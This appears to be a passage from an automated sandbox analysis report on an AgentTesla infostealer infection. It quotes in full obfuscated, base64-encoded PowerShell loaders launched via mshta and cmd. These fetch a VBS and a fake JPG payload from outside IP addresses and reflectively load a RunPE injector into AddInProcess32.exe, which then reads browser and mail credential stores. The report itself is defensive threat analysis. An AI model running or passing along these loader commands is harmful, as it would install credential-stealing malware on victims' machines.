Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC2C3.tmp" "c:\Users\user\AppData\Local\Temp\cboglgly\CSC66221087E6254F6E92E0F9138CFEC2C1.TMP"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)\|IEX"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]0x22+'jhlsc0ozthu3nyagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagqurelxrzugugicagicagicagicagicagicagicagicagicagic1nrw1crxjkrwzptml0sw9oicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivxjstu9olkrsbcisicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicbwaw1gq1nhwcxzdhjpbmcgicagicagicagicagicagicagicagicagicagieysc3ryaw5nicagicagicagicagicagicagicagicagicagicbjsfhovetzcnbilhvpbnqgicagicagicagicagicagicagicagicagicagifllusxjbnrqdhigicagicagicagicagicagicagicagicagicagiedgktsnicagicagicagicagicagicagicagicagicagicattkftzsagicagicagicagicagicagicagicagicagicaginztcelnclj2sxpviiagicagicagicagicagicagicagicagicagicaglw5hbuvtcefdzsagicagicagicagicagicagicagicagicagicagu3puvsagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagjhlsc0ozthu3nzo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5oc40ni4xnzgumtq0l2v2zw5pbmdmawxlzgf0aw5nbg92zxiudmjziiwijevodjpbufbeqvrbxgv2zw5pbmdmawxlzgf0aw5nbg92zxiudkjtiiwwldapo3n0qxjulxnmzuvqkdmpo3n0yvj0icagicagicagicagicagicagicagicagicagicaijevudjpbufbeqvrbxgv2zw5pbmdmawxlzgf0aw5nbg92zxiudkjtig=='+[char]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]0x22+'jhlsc0ozthu3nyagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagqurelxrzugugicagicagicagicagicagicagicagicagicagic1nrw1crxjkrwzptml0sw9oicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivxjstu9olkrsbcisicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicbwaw1gq1nhwcxzdhjpbmcgicagicagicagicagicagicagicagicagicagieysc3ryaw5nicagicagicagicagicagicagicagicagicagicbjsfhovetzcnbilhvpbnqgicagicagicagicagicagicagicagicagicagifllusxjbnrqdhigicagicagicagicagicagicagicagicagicagiedgktsnicagicagicagicagicagicagicagicagicagicattkftzsagicagicagicagicagicagicagicagicagicaginztcelnclj2sxpviiagicagicagicagicagicagicagicagicagicaglw5hbuvtcefdzsagicagicagicagicagicagicagicagicagicagu3puvsagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagjhlsc0ozthu3nzo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5oc40ni4xnzgumtq0l2v2zw5pbmdmawxlzgf0aw5nbg92zxiudmjziiwijevodjpbufbeqvrbxgv2zw5pbmdmawxlzgf0aw5nbg92zxiudkjtiiwwldapo3n0qxjulxnmzuvqkdmpo3n0yvj0icagicagicagicagicagicagicagicagicagicaijevudjpbufbeqvrbxgv2zw5pbmdmawxlzgf0aw5nbg92zxiudkjtig=='+[char]34+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "(('y0ulink = xr'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xrm; y0uwebc'+'lient = new-object system.net.webclient; try { y0udownlo'+'adeddata '+'= y0uwebclient.downloadd'+'ata(y0ulink) } catch { write-'+'host xrmfailed to download data from y0ulinkxrm -foregroundc'+'olor red; exit }; if (y0udownloadeddata -ne y0unull) { y0uima'+'getext = [system.t'+'ext'+'.encoding'+']::utf8.'+'getstring(y0udownloadeddata); y0ustartflag = xrm<<b'+'ase64_start>>xrm; y0uendflag = xrm<<base64_en'+'d>>xrm; y0ustartindex = y0uimagetext.indexof(y0ustartflag); y0uendin'+'dex = y0uimagetext.indexof(y0uendflag); if (y0ustartindex -ge '+'0'+' -and y0uendind'+'ex -gt y0'+'ustartinde'+'x) { y0ustartindex += y0ustartflag.length; y0ubase64lengt'+'h = y0uendindex - y0ustartindex; y0ubase'+'64command = y0uimagetext.su'+'bstring(y0ustartindex, y0ubase64length); y0ucommandbytes = [system.convert]::frombase64string(y0ubase64command); y0uloadedassembly = [system.reflec'+'tion.assem'+'bly]::l'+'oad(y0ucommandbytes); y0utype = y0uloadedassembly.gettype(xrm'+'runpe.hom'+'exrm); y0umethod = y0utype'+'.getmethod(xrmv'+'aix'+'rm).invoke(y0unull, [object[]] (xrmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxrm , xrmdesativadoxrm , xrmdesativadoxrm , xrm'+'desativadox'+'rm,xrmaddinprocess32xrm,xrmxrm)) } }') -replace 'xrm',[char]39 -replace ([char]89+[char]48+[char]117),[char]36)\|iex"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]0x22+'jhlsc0ozthu3nyagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagqurelxrzugugicagicagicagicagicagicagicagicagicagic1nrw1crxjkrwzptml0sw9oicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivxjstu9olkrsbcisicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicbwaw1gq1nhwcxzdhjpbmcgicagicagicagicagicagicagicagicagicagieysc3ryaw5nicagicagicagicagicagicagicagicagicagicbjsfhovetzcnbilhvpbnqgicagicagicagicagicagicagicagicagicagifllusxjbnrqdhigicagicagicagicagicagicagicagicagicagiedgktsnicagicagicagicagicagicagicagicagicagicattkftzsagicagicagicagicagicagicagicagicagicaginztcelnclj2sxpviiagicagicagicagicagicagicagicagicagicaglw5hbuvtcefdzsagicagicagicagicagicagicagicagicagicagu3puvsagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagjhlsc0ozthu3nzo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5oc40ni4xnzgumtq0l2v2zw5pbmdmawxlzgf0aw5nbg92zxiudmjziiwijevodjpbufbeqvrbxgv2zw5pbmdmawxlzgf0aw5nbg92zxiudkjtiiwwldapo3n0qxjulxnmzuvqkdmpo3n0yvj0icagicagicagicagicagicagicagicagicagicaijevudjpbufbeqvrbxgv2zw5pbmdmawxlzgf0aw5nbg92zxiudkjtig=='+[char]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]58+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]0x22+'jhlsc0ozthu3nyagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagqurelxrzugugicagicagicagicagicagicagicagicagicagic1nrw1crxjkrwzptml0sw9oicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivxjstu9olkrsbcisicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicbwaw1gq1nhwcxzdhjpbmcgicagicagicagicagicagicagicagicagicagieysc3ryaw5nicagicagicagicagicagicagicagicagicagicbjsfhovetzcnbilhvpbnqgicagicagicagicagicagicagicagicagicagifllusxjbnrqdhigicagicagicagicagicagicagicagicagicagiedgktsnicagicagicagicagicagicagicagicagicagicattkftzsagicagicagicagicagicagicagicagicagicaginztcelnclj2sxpviiagicagicagicagicagicagicagicagicagicaglw5hbuvtcefdzsagicagicagicagicagicagicagicagicagicagu3puvsagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagjhlsc0ozthu3nzo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5oc40ni4xnzgumtq0l2v2zw5pbmdmawxlzgf0aw5nbg92zxiudmjziiwijevodjpbufbeqvrbxgv2zw5pbmdmawxlzgf0aw5nbg92zxiudkjtiiwwldapo3n0qxjulxnmzuvqkdmpo3n0yvj0icagicagicagicagicagicagicagicagicagicaijevudjpbufbeqvrbxgv2zw5pbmdmawxlzgf0aw5nbg92zxiudkjtig=='+[char]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command "(('y0ulink = xr'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xrm; y0uwebc'+'lient = new-object system.net.webclient; try { y0udownlo'+'adeddata '+'= y0uwebclient.downloadd'+'ata(y0ulink) } catch { write-'+'host xrmfailed to download data from y0ulinkxrm -foregroundc'+'olor red; exit }; if (y0udownloadeddata -ne y0unull) { y0uima'+'getext = [system.t'+'ext'+'.encoding'+']::utf8.'+'getstring(y0udownloadeddata); y0ustartflag = xrm<<b'+'ase64_start>>xrm; y0uendflag = xrm<<base64_en'+'d>>xrm; y0ustartindex = y0uimagetext.indexof(y0ustartflag); y0uendin'+'dex = y0uimagetext.indexof(y0uendflag); if (y0ustartindex -ge '+'0'+' -and y0uendind'+'ex -gt y0'+'ustartinde'+'x) { y0ustartindex += y0ustartflag.length; y0ubase64lengt'+'h = y0uendindex - y0ustartindex; y0ubase'+'64command = y0uimagetext.su'+'bstring(y0ustartindex, y0ubase64length); y0ucommandbytes = [system.convert]::frombase64string(y0ubase64command); y0uloadedassembly = [system.reflec'+'tion.assem'+'bly]::l'+'oad(y0ucommandbytes); y0utype = y0uloadedassembly.gettype(xrm'+'runpe.hom'+'exrm); y0umethod = y0utype'+'.getmethod(xrmv'+'aix'+'rm).invoke(y0unull, [object[]] (xrmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxrm , xrmdesativadoxrm , xrmdesativadoxrm , xrm'+'desativadox'+'rm,xrmaddinprocess32xrm,xrmxrm)) } }') -replace 'xrm',[char]39 -replace ([char]89+[char]48+[char]117),[char]36)\|iex"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.12778558.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.12778558.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.510894342.000000001241D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3324, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3440, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.12778558.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.powershell.exe.12778558.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.618907462.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.619170569.0000000002465000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
